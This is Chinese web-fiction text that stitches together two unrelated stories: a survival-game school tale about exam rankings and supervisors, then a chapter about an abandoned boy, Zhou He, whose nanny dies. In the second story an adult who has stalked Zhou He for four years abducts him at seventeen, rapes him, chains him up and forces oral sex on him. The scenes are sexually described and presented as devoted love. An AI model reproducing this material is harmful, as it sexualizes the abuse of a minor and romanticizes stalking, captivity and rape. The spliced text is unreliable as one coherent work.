天仰从无限形态盒中变换出自己最趁手的双刃剑,习惯性在空中转了几下,便一剑破开了藏在石碑下的秘密。 顿时白光四溢。 天仰被照得睁不开眼睛 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“我室友他们回来了吗?” “没呢,估计都进实战了。” ...... 两个人聊了一会儿,天仰便收到来自系统的评级。 【幸存者天仰第二场实战考验评分为S级】 S级??? 天仰心里略略一惊,赶忙问沈郢:“你的实战等级多少?” “不是很高,A级,怎么了?”沈郢前面的扮演分数挺高的,但后面的实战对他一个天赋攻击力不高的人来说还是有点难度的。 听到这个等级,天仰有些诧异,他也没觉得自己的副本有哪里很难,虽然说如果没有降赐自己可能就很难通关。 “不过你还没回来之前系统有通告说,有一场实战考验因难度太高,有幸存者死在里面,所以会有监管者进去提供帮助。估计这场的人分数会高点。” 天仰:“......” 高的不只一点点啊!!! 沈郢察觉天仰的神色有点异样,大概猜到是怎么回事,便把人带去一个人少的小角落,问道:“怎么了?” “我就是那场考验里的......”天仰突然想到白旭这个人,心中的奇怪愈发强烈,便跟沈郢讨论起这个问题。 “白旭是队里的一个人啊。” “他开会经常迟到,比我到得还晚。” “不是吧,这副本还能死人???” 沈郢听天仰描述完愈发感到惊奇,没想到天仰居然是从那个危险考验里面出来的,简直了…… “不过这倒不是事,反正已经从里面出来了……”天仰倒是对这个副本反应不大,只是联想到白旭,就觉得心里不太对。 死在考验里的幸存者就是白旭了吧……回来被副本BOSS附身…… 真不容易……难得生存考验通过了,却死在了实战考验里…… 不过天仰唏嘘了一会儿便冷静了下来,毕竟这也不是他的事。 天仰和沈郢在原地互相交流了一下对方的两个考验后,三个室友还是没有回来,他们便先回宿舍休息了。 刚到宿舍。 系统就发来消息。 【所有幸存者注意,分级考试排名于第二天公布】 结束 明天就公布排名了,希望他和沈郢的排名不要相差太远。 不过照他俩的实力来看,应该不会太低。 天仰心想着。 大概在宿舍忙活了一会,洗完澡,喂完猫,吃完零食,便有人给他发消息。 天仰坐在沙发上撸着猫,不知为何最近自己染上了吃零食的习惯,还特别上瘾。他慢慢点开消息,划开界面。 有三个人给他发了消息。 桦烙,林知秋,臻耀。 他们三个回来了。 林知秋作为队里的潜力股宣布回宿舍调整一下状态再来和他们几个人开会,讨论一下接下来的事情。 另外两个人也说要回去调整一下再来找他。 天仰对此没有太大反应,正好他也想知道一下他们的等级,好来计算一下他的排名。就和摸底考试一样,稍微估算一下。 于是天仰百无聊赖地歪在沙发上撸猫,在等候的同时,突然回想起帮助过自己的某个监管者,觉得有必要问候一下对方,毕竟他能活着从副本里出来很大一部分原因都归功于那位监管者。 这般想着,他随手便给那位监管者发了个消息过去。 发完后,门铃便响了。 天仰起身正打算去开门,一条消息很快地回复了过来。 是降赐发来的一句,不谢。 天仰微微一怔,对方这回消息的速度堪比沈郢啊。 打开门,外面的三人便鱼贯而入。好久没有聚在一起的寝室四人凑在301的宿舍里,每个人都带着不同的想法。 怎么说,他们寝室的存活率是其他寝室的好几倍了。 林知秋一坐下,感慨了一番后,马上开启了话闸子。 臻耀哭笑不得,不经打趣道:“怎么经过这个生存考验之后你和桦烙的性子都对调了,天仰看起来还是那么闷骚,不过和别人相处看起来好多了。” 桦烙还是一样的话少,这回他和臻耀分到了同一个扮演类考验,前期臻耀还是关照了他不少,不过后期还是靠桦烙帮两人完成了任务。 四人互相了解了之后,发现他们都没有在同一个实战型考验里,扮演型考验除了臻耀和桦烙,其他人也没有在一起过。 “那你们的等级呢?”天仰问出了他最想知道的一个问题。 林知秋:“B++,A-。” 臻耀:“B,A-。” 桦烙:“A-,B+。” 天仰若有所思,心里开始盘算起他和沈郢排名在附近的可能性。 林知秋听完他们的等级,见天仰一副陷入沉思的模样,以为对方是因为考验太难了等级太低了,便安慰他说:“没事,听说能进入实战的最后排名都不会低,很多人连实战都没进去呢……” 天仰莫名其妙地看了林知秋一眼,不明白他说这话的意义在那,脱口道:“A,S。” 林知秋顿时一副石化的模样,感觉自己的耳朵出了问题,有些不可置信地看着天仰,感觉对方在唬他。 “没毛病,A,S,天仰的天赋那么高,这等级值了哈哈哈……”臻耀不明白林知秋石化的意义是什么,只觉得这等级很适合天仰,发自内心地替他高兴。 这样算起来,他和沈郢多少能连上号吧。 天仰登时放心了不少,愉快地看着他们三个:“明天就出排名了,回去以后东西收一收,换宿舍方便。” 寝室三人心照不宣地互相看了一眼,心里都觉得这第一肯定是天仰,毕竟除了他,谁还会拿到S级呢? 等到了第二天,天仰一觉醒来,已经是中午十二点多了。 好几天不能好好睡觉,还得四处找东西,被海水淹的疲惫被冲淡了不少,便心情很好地起了床,洗漱完毕后准备去幸存者日常生活中心的大厅等待通知。 等他到的时候,大厅里已经聚集了很多人,连沈郢也到了,安心地靠在角落的墙壁上,手里拿着个面包正在啃。 看到天仰冲对方招招手。 天仰不意外地朝他走过去,跟他站在角落里等待。 系统的结果很快就出来了。 幸存者日常生活中心大厅里也来了五位监管者,看起来就是降赐所说的监管者依次带队的形式了。 天仰的注意力并没有完全在这上面,直到系统通知下来,大厅里才突然出现了一个显示屏一样的东西,投放着所有人的排名和两场的等级。 【第一名,幸存者编号001天仰,A,S】 【第二名,幸存者编号002沈郢,A+,A-】 【第三名,幸存者编号003林知秋,B++,A-】 【第四名,幸存者编号004桦烙,A-,B+】 【第五名,幸存者编号005臻耀,B,A-】 【第六名,幸存者编号006……,B,B-】 …… 后面的等级越来越低,甚至还有十几个连实战都没进去的人。 可见天仰这一个S级有多么的耀眼。 天仰也没想到第一次分级考验自己的排名还能达到第一,不由得吃了一惊,不过更高兴的是,沈郢的排名跟他挨着,这样他们宿舍以后就是连着了,方便窜宿舍为。 沈郢也因此很高兴,他在考验中灵活运用自己的天赋,解开了很多线索,才把分数不断往上拉,不然光靠自己那几个占卜术,在实战里一点优势也没有。 只能走一步,算一步。 真正正正把占卜术做到活灵活用。 林知秋他们几个心里倒是早已认同天仰是这个考验的第一名,所以没有太多惊讶,倒是看到他们几个人名次几乎挨在一起,顿时觉得还不错。 每个人议论纷纷,情绪都很激动,尤其是大多数人看到那个金灿灿的S,都对天仰投去了仰慕之情。 可惜对方正在和挚友讲话,没有注意到这些视线。 这时,监管者002手里拿着话筒,轻咳了几声,把视线都转移到自己身上来。 “大家好,相信大家不会陌生我,我是监管者002,现在来通知各位一些事情,请各位认真听哦~” 幸存者的讨论声顿时安静了下来,注意力全部都放到了这位监管者的身上。 身为一个成熟的幸存者,他们早已不会像之前的人那样去反抗监管者,反而是在对方没有动手之前,自己都保持着绝对安静。 正是因为知道自己的生命来之不易,所以才更加珍惜。 002很满意地看着现场十分安静的样子,拿着话筒继续讲:“首先呢,很高兴各位幸存者通过分级考验,所有的排名和等级都是各位幸存者在考验中的所做所得,不会有任何的疏漏。” “其次呢,大家通过了分级考验,也拿到了自己最终的编号。不过由于考验中的一些事故,幸存者里牺牲了一位,幸存者人数变为17。接下来,就是给大家分教官的环节。” “编号001到003,由监管者001带队。” “编号004到006,由监管者002带队。” “编号007到010,由监管者003带队。” …… 002念得有些累,等全部编号念完之后,停下来稍作休息,给大家一个缓和的时间。 停顿了大概一分钟,002继续道:“以上就是所有幸存者的教官,请各位认准自己的教官。” “接下来宣布幸存者事宜,所有的幸存者由监管者带队,幸存者接受监管者的任务,完成之后将拿到一定奖励。” “所以接下来各位幸存者要积极的完成任务,很多任务有概率可以到学校外面的世界去完成,到了外面可以见到你们的家人朋友。当然你们也别想着要逃跑,毕竟外面还正在进行生存考验,你们出去只是为了帮助外面执行考验而已,等任务结束你们还是得回来的。” …… 002的话很多。 等他说完之后,在场人的血液突然凝固了。 总结成几句话,大概就是幸存者要接受监管者给的任务,这些任务有一定几率可以去外面执行,可以见到自己的家人。 天仰听完这一大段话之后,有点沉默,担忧的看了一眼站在自己旁边的沈郢。 果然对方的情绪现在不是很好。 天仰轻轻拍了拍对方的肩。 沈郢一脸憋屈的模样,看起来就像是要哭出来了一样,默默地把脑袋靠到了天仰的肩膀上,轻轻地抽泣着。 天仰轻叹了一口气,把自己的肩膀借给了他。 他不知道说什么来打破这个情绪。 毕竟他在学校外面已经没有别的什么亲人了,关系比较好的也只有沈郢的家人。 说担心,还是有一点的。 毕竟外面也在进行着生存考验,连他们学校里都损失了那么多人,最后活下来的也只有仅仅十几个人,那么外面不就更惨了? 天仰看向了他宿舍的几个人,没有一个人的脸色是好的。 002结束讲话之后。 所有人都带着压抑的氛围回到了自己新的宿舍。 任务将在三天后开放。 天仰有些疲累的瘫倒在床上。 奶糖见到自家主人回来了,难得主动的去蹭了蹭他。反被天仰一手抱进了怀里,拿去当抱枕。 任务这种东西…… 对他来说有什么用呢…… 这场灾难如果真的是无止尽的,那活下来的他们该怎么办呢…… 29. 第 35 章 京城的冬季,总是冷的让人感到刺骨,无论穿多厚的衣服都挡不住寒风的侵蚀。 别墅内,传出了一声声婴儿的哭啼,在这空荡的环境里显得更是撕心裂肺。 走近一看,这是一个刚出生不过两三个月大的婴儿,长似蒲扇的睫毛上挂满了泪珠,脸蛋因只穿了一件小薄袄的缘故,透着不正常的红。 但是没有一个人会把他抱在怀里轻声安抚,因为他的父母正在民政局里为孩子的抚养权争吵不休。不是争着要抚养权,而是急着摆脱这个拖油瓶,好让自己离婚后的生活过得更加自在。 “孩子踏马是你生出来的,跟我有什么关系?要养你自己去养,别想赖我头上!”一个看上去面容刚毅的男人朝对面的小女人喊。 “滚尼玛!要不是你家老头子非让我生,你以为我稀罕你周家的种?我真是瞎了狗眼了会看上你!你别把责任全撇我头上,没有你那个孩子也不可能出生!你们周家一个个全都是冷血的狗男人,你要是还有一点良心就把这个孩子弄走!”妆容精致的小女人不甘示弱。 路人看着这两个人模人样,心却比馊菜还要臭的人,心里不禁冷笑道:真是五十步笑百步! 但是他们也只能在心里把这两人骂个痛快了——因为没人愿意管这档子事来给自己添堵。 在男人的又一番叫骂声中,女人终于忍不住红着眼对他吼道,“你踏马别跟我说这么多,孩子你不想养也得养!咱们法院见!” …… 终于在两方律师的争辩下,孩子判给了周字阳。 出了法院,周字阳看着眼前那抹得意的身影,忍不住对身旁的律师恶语相向。 “你是干什么用的?!这一点破事你都处理不好我要你有什么用!” “周总,恕我这次真的无能为力。我也没想到王女士会想到以自己有重度抑郁并伴有暴力倾向,不能抚养婴儿为由,以摆脱自己的抚养权。我们拿不出她完全健康的证据……” “别踏马废话了,判都判了还能怎么办?!把那孩子抱回老宅,谁爱养谁养!” 老宅那边,现在正热闹非凡。 周字阳在家排名老二,因为他年幼时体弱多病,周老夫人便把自己的精力全都投到了这个令自己心疼的孩子身上。 周老夫人总是觉得是自己没能给他一个健康的身体,就想要在其他方面弥补回来。于是周字阳从小到大想要的从来没有得不到的。也正是因此,才造成了他今天玩世不恭,冥顽不灵的样子。 而老大周字明,从小就被养在书本里。所以即使有了周字阳后就没被周老夫人注意到过,他也并无怨言,而是选择体谅,甚至对自己的弟弟疼爱有加。所以在周老夫人去世后,周字阳也没有受到一点委屈。 这些周老爷子全都看在了眼里,时间越久,他对周字明就越满意,更是把他当成了自己的接班人来培养。 今天周字明带着自己的妻子回到家,告诉老爷子他该有孙子了,老爷子更是激动的眼泪在眼眶打转。 周字阳一会到老宅看到餐桌上丰盛的饭菜和旁边围坐的一家子,心里更加恼怒。 他招呼都没打闷声做在了周字明对面,翘着二郎腿对主坐上的周老爷子说,“婚我已经离了,孩子他娘的抛给我了!孩子不是你让留着的吗?那就你来养,我才不要带个拖油瓶!” 老爷子一听,脸瞬间被气的通红,“混账!咳咳咳……” 周字明急忙拍老爷子的背给他顺气,“爸你消消气,气坏身子了可怎么办。”他又转头对周字阳说,“你也老大不小的人了,说话就不能过过脑子吗?那好歹也是一条生命,你以为是跟养条小猫小狗一样的吗?” 周字阳一脸不服气,反驳到,“本来也不是我想要的……” “你闭嘴!我那是为了谁?!就你那吊儿郎当的样子,要不是有个这个孩子估计你死了都没人给你送终!” “老,老爷。”这时,一个略显忐忑的声音插进来,“这个孩子,我可以帮二少爷带。我之前就是当月嫂的,在照顾小孩儿这方面还是很有经验的。” 餐桌上的众人看向声音的源头,是家里的一位保姆,来了已经有四五年,也算是“老人”了。 周字阳听后刚想点头同意,就被周字明一个眼神给瞪回去了。 周老爷子这边,眉头微蹙,思考了一会儿,发觉也只能如此了。 自己年纪大了,已经没有精力再带一个小娃娃了。老大有自己的家庭,把孩子交给他们,明显不合适。而老二……想都不用想,孩子交给他指不定能活到几岁。 “那……从今天起,你就专心照顾好那个孩子就是了。那个宅子,我会过户给娃娃的,每个月生活费自会有人按时打到卡上,工资也绝不会少了你的。”周老爷子开口。 “老爷放心,我绝对会把小少爷看做自己的孩子一样,悉心照顾。” …… 保姆名叫顾汐,三十多岁的年纪却饱经风霜。她原本是有一个美满的家庭,父母身体健康,还有一个很爱自己的丈夫。但这一切却在她二十三岁那一年,全都不复存在。父亲因身患绝症不幸过世,母亲也因伤心过度,在父亲走后的第七天,喝药自杀了。丈夫在政府部门任职,本是一个不起眼的小主任,却被安上了莫须有的罪名,最终因为承受不住舆论的压力,跳海了。 但顾汐并没有因此颓废下去,因为丈夫死前给她留的信封中说到,让她带着他的那份,幸福的活下去。 顾汐去到别墅,把宝宝安顿好,哄睡着了之后来到了丈夫的墓地。她把在路上买的向日葵放在墓碑前,之后盘腿坐在地上,轻轻的说道,“泽仁,你生前最想要一个宝宝了,说如果有了宝宝,他一定最像我了。可惜,你去别的地方了。不过没有关系,我现在……也算是有了一个宝宝。”她的眼中流露出无限的温柔,“他不是我亲生的,而且我也没有这个资格,但是,我会把他当成自己的宝宝一样宠着。我们给他起一个名字吧?他姓周,在我心里是最独特的,不如……就叫周鹤吧?” 第一年,顾汐把周鹤像宝物一样护着。她没有过小孩子,自然也没有奶水,但是她不想让周鹤这么小一点就喝奶粉,于是她去找了像是吞金兽一样的妹妹,以一瓶奶一千的价格,喂到周鹤断奶。 周鹤两岁了。顾汐发现他最近越来越调皮了,他会把卫生纸扯的到处都是,还像炫耀自己的战绩一样,流着口水对着自己哈哈笑。会当着她的面把不喜欢吃的青菜“藏”到小兜兜里,她真是爱极了这个奶奶的小团子。 周鹤三岁了。他不喜欢叫顾汐姨姨,她感觉到了,但是顾汐从没正面回应过这个问题。直到一天周鹤伸着小脑袋问她,“我为什么只有姨姨没有妈妈呀?”顾汐红了眼眶,她比谁都心疼这个不被人在意的小团子,但是她瞒不了他一辈子,“鹤鹤的爸爸妈妈工作很忙,特别忙,他们才没有时间回来陪你的,不过不用伤心,姨姨会一直陪着你的。”那些残忍的事实,能瞒多久就瞒多久吧。“没关系,鹤鹤有姨姨就够了。” 周鹤比一般小孩儿怕生,所以他到了六岁才开始上学。去学校的第一天,周鹤红着眼睛对顾汐说,“姨姨,别忘了你还有个鹤鹤,你别忘了来找鹤鹤……我只有你了,别不要我。”顾汐微笑着对周鹤说她一定会提前很早很早来接他的,让他一出校门就能看到自己。一转身,眼泪却不争气的跑出了眼眶。周家人,他们之所以能把生意做大是全靠没有心吗?六年了,没有一个人来看过鹤鹤。 周鹤10岁时,他第一次惹顾汐生气了,因为他说他不要去学校上课了。顾汐大声质问他为什么,周鹤只是一动不动的站在那儿,一句话也不说。顾汐看是在没办法了,拉起他的手就要把他关在屋里反省,却在拉扯的过程中看到了手臂上的一块儿青紫。“周鹤,你是不是在学校跟人打架了?你跟姨姨讲什么要打架?”周鹤瞬间哭了出声,“他……他们说我是没人要的孩子……可是我有人要,我有姨姨,他们说,姨姨不是人,是周家养的一条狗,我生气就打了他们。”顾汐浑身无力的坐到了沙发上,周鹤以为是自己惹她生气了,连忙擦了擦眼泪,对顾汐发誓自己以后再也不会打架了。周鹤哪里知道,顾汐这几分钟已经在心里把自己骂了上百遍,她骂自己没出息,让孩子受委屈,她骂自己没能力,帮孩子摆平这些问题,只能选择逃避。“鹤鹤,我们不去学校了,姨姨给你请家教咱们在家里学好不好?”周鹤重重的点了点头。 周鹤十一岁生日时,顾汐给他买了一直小猫,黑白相间的毛发,吃的比普通小猫都要胖,周鹤给它起名字叫团团。从那以后周鹤无论做什么都要带着团团,就算是写作业都要团团在旁边陪着。“姨姨,以后我们出去旅游,也要带着团团好不好?”,“当然好呀。”,“那以后我结婚了团团也能继续陪着我吗?”,“肯定会啦!”,“那你能不能给团团也找个女朋友?”,“你整天都在想些什么呀?”,顾汐宠溺的摸了摸周鹤的头。但是这些都没有实在——周字阳十一年第一次回家,是为了找东西。他带人把整个房子都翻了一遍还是没找到,在找到周鹤房间的时候,团团为了不让陌生人进周鹤的房间一直抓周字阳的裤脚,周字阳本来就很不耐烦了,这下更是把气都撒在了团团身上,一脚把团团踹到了楼下。周鹤感觉他听到了团团骨头裂开的声音,也听到了团团眼泪落到地上的声音,震的他耳朵要聋了。那天之后,周鹤再也没有提过爸爸妈妈的话题,也变得愈加沉默。顾汐也说过,要再给他买一直小猫,但是通通被他拒绝了。顾汐知道,他心里的这块伤疤再也愈合不了了。 周鹤十三岁生日当天,顾汐趁他写作业的时候出门去超市买菜,准备为他做一桌丰盛的大餐——她重视周鹤的每一次生日。等红绿灯的时候,她看到路的对面有一对母子,小孩子兴奋的给妈妈讲着什么,妈妈嘴角带笑的回应着。如果在以前,她肯定会羡慕不已,但是现在她有周鹤了,她这辈子唯一的儿子。绿灯了,顾汐迈步往前走,突然听到一阵急刹车的声音,还没来得及反应,“砰”的一声,她感觉身体整个都麻木了,然后是剧烈的疼痛,血从她的身体里流出来。一对夫妻从货车上飞快跑下来,眼神里充满了绝望。“鹤鹤,我的鹤鹤……”顾汐用尽全身最后一丝力气,拨通了周鹤的电话,“鹤鹤呀,我的鹤鹤,你要好好的啊……” 周鹤飞似的跑进医院,还没到抢救室门口就有一对夫妻跪在他身边边磕头边跟他说对不起,“孩子……我对不起你呀孩子,我真对不起你呀,你打死我吧……”,周鹤被“死”这个字击的一下跪在了地上,“我,我姨姨呢?怎么样……” 还没说完,抢救室的灯灭了,周鹤看到医生满脸遗憾的走出来,周鹤不敢动,也没力气动。 “家属过来再跟患者讲最后几句话吧,她现在还能听到。” 周鹤尝试着站起来,但是没成功。最后还是医生扶着走过去的。周鹤看到顾汐静静的躺在那儿,像是睡着了一样,安静的吓人。 “姨姨,我是鹤鹤呀姨姨,你起来看看我好不好……妈妈,妈妈你起来跟我说说话好不好,我真的好孤单,我就剩你了妈妈,你不要丢下我不管好不好?” 他看到一滴泪顺着顾汐的眼角滑了下来,之后她就再也没了生命体征。 “妈妈还是不要我了。” …… 周鹤把顾汐葬在了一个山清水秀的墓园,他知道顾汐生前为了照顾他就哪也没去过了,他虽不信神佛,却也迷信的认为,把人葬在好的地方,下辈子就能不这么苦了。 13岁,周鹤成了一个没人要的孩子。 他时常会因为自己太孤独了,而去想自己有个信仰会不会好一点?于是他开始烧香拜佛,但是回到家中房子依旧是空落落的,睡梦中姨姨也从没有找过他。他反应过来,自己本来就是被世界遗忘的那个,无人帮他,无人救他。他什么都不信了,他只信他自己,他开始尽量让自己充实起来,每天让学习充满自己的生活。但是脑子可以被学习填满,心不行。他的心里常年空旷,只有顾汐路过。 周鹤变的愈加孤僻了,不过这些没人关注,更没人在乎。他的家教老师告诉他,世界就是这样,没人愿意打乱自己的生活去关注一个无关紧要的人。 对啊,自己对于周家来说,就是一个无关紧要的人。每月打来的钱,就像是在帮助路边的流浪狗,对他们来说,也是无关痛痒的。 他开始试着享受与世界决裂的生活。 周鹤觉得他的人生本该如此,无趣,麻木,残喘苟活。却没想到会有一个疯子惦记一条“流浪狗”四年。 顾汐死后,周鹤就没有了生日,只有顾汐的祭日。 周鹤17岁那天,他去往年一样,在路过的花店买了一束康乃馨,他从书中看到康乃馨代表着对母亲的尊敬与爱意。所以这花送给顾汐,也是当之无愧的。 顾汐的墓前没有一片落叶与杂草,可见其亲人的用心。周鹤盘腿坐在顾汐的遗照前,轻轻的把康乃馨放下,嘴角微微扯了一下——顾汐去世后,他渐渐忘了要怎样微笑。 “妈妈,你不介意我这么叫你吧?”虽然从来得不到回应,但是周鹤依然每次都会问同样的问题。他怕她生气。“我最近……好像也没什么事要讲。这种感觉还真是寂寞啊,我果然还是想当正常人的,想有家人,想交朋友,想做一切正常人会做的事。但是……世界总归是需要有些怪人来维持平衡的。” 周鹤像是打开了话匣子,把这么久以来没说过的话全都倒了出来。 再反应过来的时候太阳已经落山了。 周鹤坐了一下午,腿已经麻了。他艰难的起身拍了拍腿,在直起身的一瞬间被人捂着嘴往身后的森林里拖去。 那人体型很高大,周鹤虽只有一米七五,那人却比他高出了一个头。 周鹤被捂着嘴巴发不出声音,只能从喉咙里不断的发出“唔唔”声,他手不停的捶打着那人的胳膊,但是这些完全不起作用。 晚上的墓园没有一个人,他还真是倒霉。 那人把他拖到一片空地,把他手脚绑住后才松开了他。借着月光,周鹤看到了他的容貌——剑眉星目,薄唇英鼻,五官深邃。头发向后梳去,穿着一身黑色西装,典型的事业有成型男性。周鹤实在想不明白他为什么要绑架自己,难道是周家的死对头? “如果你是奔着周家来的,那你真的找错人了。我除了跟他们一个姓以为再没半点关系了。” 男人听后嘴角微扬,眼中充满了痴迷。他缓缓蹲下,用手指撑起了周鹤的下巴,他慌张的模样被男人看了个真切。 “鹤鹤,我是奔着你来的。” 贺舟是贺家的独苗,从小就被当做继承人培养。贺父告诉贺舟,想要的东西靠手段得不到的话,那就靠抢!这一点贺舟倒是记得很牢。正因他这极端的手段,贺舟才能18岁就成为了贺氏集团的CEO。这使他一朝成为京城经济圈里的红人。 那可是贺氏集团!凭一己之力支撑整个房地产市场的传奇! 但是树大招风,集团内部很多老人看不好年轻气盛的贺舟,便开始对他各种挖苦。外部人士当然是选择隔岸观火,在内斗结束后分一杯羹。 贺舟虽然刚接手公司,但是在此之前已经从贺父那里学到了不少经营公司的经验,再加上他心态沉稳却手段狠毒,不出一个月他就把那些作妖的公司成员治的服服帖帖。 其中有一个叫王健的人,从一开始就在股东中间各种挑拨离间,试图从中谋取利益。最后却偷鸡不成蚀把米,被贺舟查出王健手脚一直不干净,在公司账本中做的假账还真不少。贺舟干脆利用他杀鸡儆猴,直接把他开除了。 王健一时接受不了,竟然直接从顶楼跳了下去。 虽然这件事跟公司无关,但是为了公司形象,贺舟还是去了医院跟王健家属面谈,赔偿了一定的金额。 他永远忘不掉在见王健家属过程中遇到的那一个小男孩儿,他颓废的靠墙坐着,没有声嘶力竭,没有大声怒吼,但是他的眼神却充满了无数的悲痛与哀伤。 ……他很喜欢,他要得到他。 为什么会这么喜欢呢?不知道,可能是他那双可怜兮兮的眼睛,让人看了忍不住被吸引。也可能是他那因悲伤而变得苍白的嘴唇,也可能都不是。但他就是喜欢。 那天之后他就派人调查了周鹤的身份,发现他只是周家的一个弃子,唯一在乎他的人也因车祸去世了——事情变得更好办了,只需要等他长大就可以了。 贺舟派人跟踪周鹤,发现他前一星期一直是闭门不出。直到第八天,他在周鹤的门前看到了一个熟人,鹿鸣。 鹿鸣跟周鹤差不多是同命相连,都是弃子般的存在。只不过鹿鸣比周鹤幸运多了,他虽插足不了公司的事,父母却也给了他足够多的机会和选择,不仅给他重新给他开了一家娱乐公司,凭他怎么嚯嚯,还让他做起了甩手掌柜,任他怎么逍遥自在。 贺舟和鹿鸣,就是在一场酒局认识的。 贺舟在知道鹿鸣跟周鹤有联系后,立马就去找了鹿鸣。 见到人之后直接开门见山,问他,“你认识周鹤?” 鹿鸣看到对方如此紧张,就也没管他态度好不好,直接回答说,“我是他家教。” 贺舟知道鹿鸣要立“好青年”人设,对此并没有产生什么怀疑。“帮我盯着周鹤,有异常一定要告诉我。” 鹿鸣知道周鹤是周家的血脉,贺舟如此紧张他,难道是生意上的事?那就不方便多问了。“好。”鹿鸣答应到。 从那之后,贺舟每天工作之余就是打探周鹤消息,之后再想两人第一次见面会是什么样的?往后的生活又会是什么样的?他会把他关到房间里面不让他出去,周鹤太美丽了,会被别人抢走的。如果周鹤惹自己生气了,他会把他用链子锁起来,逼他哭着跟自己说对不起。每每想到这,他总是会浑身燥热,某处久久不得释放。 直到等到周鹤十七岁那天,他实在等不了了,哪怕再多等一天对他来说都是煎熬。 于是,他来到了周鹤的住处,跟踪周鹤来到墓地,看他对着照片里的女人喃喃自语,看他说着说着就要委屈的流下眼泪,贺舟觉得他可爱极了。 到了太阳落山,眼看周鹤就要走了,他一个箭步冲出去把他绑到了森林。他怎么可能放他走呢?一辈子都放不开的。 一开始周鹤还在反抗,见反抗没用还说出了那句可爱至极的话。直到贺舟说出那句“鹤鹤,我是奔着你来的。”,周鹤不在反抗了。可能是脑子一时转不过来弯?他眼神懵懂极了。 贺舟忍不住俯下身亲了他一口,周鹤浑身一激灵,他懂那句话的意思了。于是他开始更激烈的反抗,把手腕处蹭的破了皮。 “你真恶心!”,周鹤忍不住破口大骂。 这句话惹怒了贺舟,他一把箍住周鹤的手压到树干上,附身用腿把他的双腿撑开。 “这就觉得恶心了?周鹤我告诉你你最好赶快给我适应,不然之后你恶心的时候多了!不懂什么意思对不对?” 贺舟一边撕扯着周鹤的衣服,一边像恶魔一样通知他地狱对他的处刑。 “从今往后你只需要脱了裤子等着挨草就好了。” “你怎么不下地狱?” “我们本就身处地狱啊鹤鹤。” …… 贺舟一个挺身,疼的周鹤把手掌掐出了血。 “疼就叫出来。” …… “你是来杀我的吗?” 贺舟停止动作,低头吻住周鹤的眉眼, “鹤鹤,地狱太苦了,我是来陪你的。” 周鹤梦见自己被人猥亵了,对方还是一个男人。他不停的对自己索取,那模样简直像是要把自己吞进肚子里。 他不敢直视这个梦,强迫自己赶紧醒来。睁开眼睛发现自己处在一个陌生的房间,属于那个男人的气味充满了自己的鼻腔。 哦,原来不是梦啊……他遇到神经病了。 没时间再思考太多,他现在要做的就是赶紧逃离这个地方。 刚起身,铁链之间相互碰撞的声音传进了他的耳朵,他这才注意到拷在脚踝处的铁拷,铁拷的那边连接着床头。 周鹤愤怒的把床头柜上的夜灯砸向了地面,这动静直接把在楼下准备早餐的贺舟惊动了,不一会儿上了锁的房间就被打开了。 “你醒啦鹤鹤!”,贺舟像是一个兴奋的大男孩儿,即使他今年已经22了。 “别叫我名字!恶心!”,周鹤看到来人激动的就要扑过去打他,却被脚铐一个绊倒在地。 贺舟见状要过去扶他,被周鹤一声呵斥停在原地。 “你别过来!我不知道你是谁我也不想知道,如果你只是想睡我的话,你的目的已经达到了。放我走,我就当这件事没发生。”周鹤用自己仅存的一点理智跟他谈判。 “放你走?鹤鹤你知道我等了你多久吗?”贺舟说着向周鹤走去,“我等了你四年,怎么可能会放你走?这辈子都放不走的,就算我死了也会拉着你一起。” 周鹤下意识向后退去,这一动作却大大刺激到了贺舟,他一把抓住周鹤的头发,迫使他的头向后仰去。 “你讨厌我?你想远离我?周鹤好好看看你现在的处境,你觉得你跑得掉吗?别惹我生气,不然我会让你过得狗都不如。” 贺舟力度大的像是要把他头皮一块儿扯下来一样,周鹤疼的忍不住咧了一下嘴角,但他说出的话却让人误以为他才是那个强者。 “这世界上会有人真正喜欢你吗?毕竟你可是连狗都不如。” 贺舟听后并没有他预想的那样大发雷霆,而是用手托起他的下巴,残忍的说道, “鹤鹤这张嘴不会说话就不用说了,用来取悦我就好了。” 贺舟解下领带,把周鹤的双手绑了起来。随后,他扣动腰带。 周鹤慌了,他不停的朝后退去,直到他的背撞到了床沿。 他无路可退。 贺舟一把捏住他的双颊,迫使他张开嘴,随后把火热捣入。 周鹤瞪大了眼睛,他开始试图用舌头把外物顶出去,谁知这一动作却取悦到了贺舟。 “鹤鹤果然适合做这个。” …… “嘶~别咬。” …… 贺舟最后释放进了周鹤的嘴巴里,还强迫他咽下去。 “周鹤,别敬酒不吃吃罚酒。”撂下一句话,贺舟扬长而去。 周鹤两眼空洞的坐在地上,他嘴边依然有污渍但是他已经没力气去管了。 他真的好累,累到仿佛一旦睡着就再也醒不来了一样。 他不明白自己明明什么都没做错,世界为何要选择这一种方式来惩罚他。他从小就知道自己跟寻常的孩子不一样,他们有父母疼,周鹤没有,他只有那一份得来不易的疼爱。于是他更加珍惜那独一份的情感,日日夜夜不敢懈怠,不敢做出任何惹人厌恶之举。可是上帝还是把顾汐带走了,是觉得她在自己身边会更苦吗?那就走吧,偶尔来梦里看看他就行。 周鹤不敢奢求任何情感了,喜欢也好,讨厌也罢,他不敢去招惹任何一个人。他只希望自己能活着,在这个吃人的世界苟且偷生就好。 他本就可以麻木的过一生了!如果没有遇到那个人的话…… 好困……真的坚持不住了…… 贺舟本是想好好惩罚周鹤一下,好蜕去他的满身逆骨。但绝不是想看到周鹤一个人倒在地板上像死了一样。 那一刻神知道他是无比的慌乱,他从不知道一个活人的身体可以冰冷成这样。 来不及过多思考,他立马把周鹤抱到床上,盖好被子,然后拨通了自己私人医生的电话。 “喂,你现在赶紧过来一趟……对,很急特别急!” …… 周鹤一觉睡到了晚上,他刚睁开眼睛就看到了坐在自己身侧的男人。 贺舟感受到了向自己投来的目光, “你醒了?有……有没有哪里不舒服的?” 周鹤不理他,把头扭向了另一边。 “……对不起。” 贺舟看到了周鹤有一瞬的僵硬。 “是我太急于求成了,你连对我最基本的都不了解,我就……那样对你。” 周鹤还是不理他。 “那,你就从现在开始了解好不好?”贺舟也不管对方有没有在听,就开始给对方讲自己的故事,他好像从来没有做过类似的事情,生硬的像是自我介绍。 “周鹤,我真的很喜欢你,这绝不是一时兴起,我等了你四年。我可以答应你任何事情,唯独放你走不行。” 周鹤哪里知道他这幅深情劲儿要装给谁看,但他已经没有精力应付这个神经病了。 贺舟在他身侧躺下,一把揽过周鹤,把他抱在了怀里。 “没关系,我们慢慢来。” …… 过了一周,周鹤发现这个神经病除了不准自己出房间门,其余的对他可谓是无微不至。但是他只需要自由。还口口声声说爱他,全都是扯淡。 贺舟习惯了周鹤对自己的冷眼,毕竟自己得到他的手段真算不上是光彩。 